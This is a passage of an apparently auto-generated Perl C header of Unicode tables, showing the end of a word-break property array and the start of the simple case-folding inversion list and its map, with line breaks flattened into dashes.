WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Katakana, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Format, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Format, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Regional_Indicator, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Modifier, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base_GAZ, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_Format, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other -}; - -# endif /* EBCDIC 037 */ - -#endif /* defined(PERL_IN_REGEXEC_C) */ - -#if defined(PERL_IN_UTF8_C) - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV Simple_Case_Folding_invlist[] = { /* for ASCII/Latin1 */ - 1266, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0xB5, - 0xB6, - 0xC0, - 0xD7, - 0xD8, - 0xDF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x179, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x182, - 0x183, - 0x184, - 0x185, - 0x186, - 0x187, - 0x188, - 0x189, - 0x18B, - 0x18C, - 0x18E, - 0x18F, - 0x190, - 0x191, - 0x192, - 0x193, - 0x194, - 0x195, - 0x196, - 0x197, - 0x198, - 0x199, - 0x19C, - 0x19D, - 0x19E, - 0x19F, - 0x1A0, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A7, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1AF, - 0x1B0, - 0x1B1, - 0x1B3, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B8, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C5, - 0x1C6, - 0x1C7, - 0x1C8, - 0x1C9, - 0x1CA, - 0x1CB, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F2, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F7, - 0x1F8, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23B, - 0x23C, - 0x23D, - 0x23E, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x244, - 0x245, - 0x246, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x345, - 0x346, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3C2, - 0x3C3, - 0x3CF, - 0x3D0, - 0x3D1, - 0x3D2, - 0x3D5, - 0x3D6, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F1, - 0x3F2, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FA, - 0x3FB, - 0x3FD, - 0x400, - 0x410, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C1, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C81, - 0x1C82, - 0x1C83, - 0x1C85, - 0x1C86, - 0x1C87, - 0x1C88, - 0x1C89, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9B, - 0x1E9C, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB8, - 0x1FBA, - 0x1FBC, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC8, - 0x1FCC, - 0x1FCD, - 0x1FD8, - 0x1FDA, - 0x1FDC, - 0x1FE8, - 0x1FEA, - 0x1FEC, - 0x1FED, - 0x1FF8, - 0x1FFA, - 0x1FFC, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212B, - 0x212C, - 0x2132, - 0x2133, - 0x2160, - 0x2170, - 0x2183, - 0x2184, - 0x24B6, - 0x24D0, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C63, - 0x2C64, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C6E, - 0x2C6F, - 0x2C70, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C80, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77E, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AB, - 0xA7AC, - 0xA7AD, - 0xA7AE, - 0xA7AF, - 0xA7B0, - 0xA7B1, - 0xA7B2, - 0xA7B3, - 0xA7B4, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xAB70, - 0xABC0, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1E900, - 0x1E922 -}; - -static const int Simple_Case_Folding_invmap[] = { /* for ASCII/Latin1 */ - 0, - 0x61, - 0, - 0x3BC, - 0, - 0xE0, - 0, - 0xF8, - 0, - 0x101, - 0, - 0x103, - 0, - 0x105, - 0, - 0x107, - 0, - 0x109, - 0, - 0x10B, - 0, - 0x10D, - 0, - 0x10F, - 0, - 0x111, - 0, - 0x113, - 0, - 0x115, - 0, - 0x117, - 0, - 0x119, - 0, - 0x11B, - 0, - 0x11D, - 0, - 0x11F, - 0, - 0x121, - 0, - 0x123, - 0, - 0x125, - 0, - 0x127, - 0, - 0x129, - 0, - 0x12B, - 0, - 0x12D, - 0, - 0x12F, - 0, - 0x133, - 0, - 0x135, - 0, - 0x137, - 0, - 0x13A, - 0, - 0x13C, - 0, - 0x13E, - 0, - 0x140, - 0, - 0x142, - 0, - 0x144, - 0, - 0x146, - 0, - 0x148, - 0, - 0x14B, - 0, - 0x14D, - 0, - 0x14F, - 0, - 0x151, - 0, - 0x153, - 0, - 0x155, - 0, - 0x157, - 0, - 0x159, - 0, - 0x15B, - 0, - 0x15D, - 0, - 0x15F, - 0, - 0x161, - 0, - 0x163, - 0, - 0x165, - 0, - 0x167, - 0, - 0x169, - 0, - 0x16B, - 0, - 0x16D, - 0, - 0x16F, - 0, - 0x171, - 0, - 0x173, - 0, - 0x175, - 0, - 0x177, - 0, - 0xFF, - 0x17A, - 0, - 0x17C, - 0, - 0x17E, - 0, - 0x73, - 0, - 0x253, - 0x183, - 0, - 0x185, - 0, - 0x254, - 0x188, - 0, - 0x256, - 0x18C, - 0, - 0x1DD, - 0x259, - 0x25B, - 0x192, - 0, - 0x260, - 0x263, - 0, - 0x269, - 0x268, - 0x199, - 0, - 0x26F, - 0x272, - 0, - 0x275, - 0x1A1, - 0, - 0x1A3, - 0, - 0x1A5, - 0, - 0x280, - 0x1A8, - 0, - 0x283, - 0, - 0x1AD, - 0, - 0x288, - 0x1B0, - 0, - 0x28A, - 0x1B4, - 0, - 0x1B6, - 0, - 0x292, - 0x1B9, - 0, - 0x1BD, - 0, - 0x1C6, - 0x1C6, - 0, - 0x1C9, - 0x1C9, - 0, - 0x1CC, - 0x1CC, - 0, - 0x1CE, - 0, - 0x1D0, - 0, - 0x1D2, - 0, - 0x1D4, - 0, - 0x1D6, - 0, - 0x1D8, - 0, - 0x1DA, - 0, - 0x1DC, - 0, - 0x1DF, - 0, - 0x1E1, - 0, - 0x1E3, - 0, - 0x1E5, - 0, - 0x1E7, - 0, - 0x1E9, - 0, - 0x1EB, - 0, - 0x1ED, - 0, - 0x1EF, - 0, - 0x1F3, - 0x1F3, - 0, - 0x1F5, - 0, - 0x195, - 0x1BF, - 0x1F9, - 0, - 0x1FB, - 0, - 0x1FD, - 0, - 0x1FF, - 0, - 0x201, - 0, - 0x203, - 0, - 0x205, - 0, - 0x207, - 0, - 0x209, - 0, - 0x20B, - 0, - 0x20D, - 0, - 0x20F, - 0, - 0x211, - 0, - 0x213, - 0, - 0x215, - 0, - 0x217, - 0, - 0x219, - 0, - 0x21B, - 0, - 0x21D, - 0, - 0x21F, - 0, - 0x19E, - 0, - 0x223, - 0, - 0x225, - 0, - 0x227, - 0, - 0x229, - 0, - 0x22B, - 0, - 0x22D, - 0, - 0x22F, - 0, - 0x231, - 0, - 0x233, 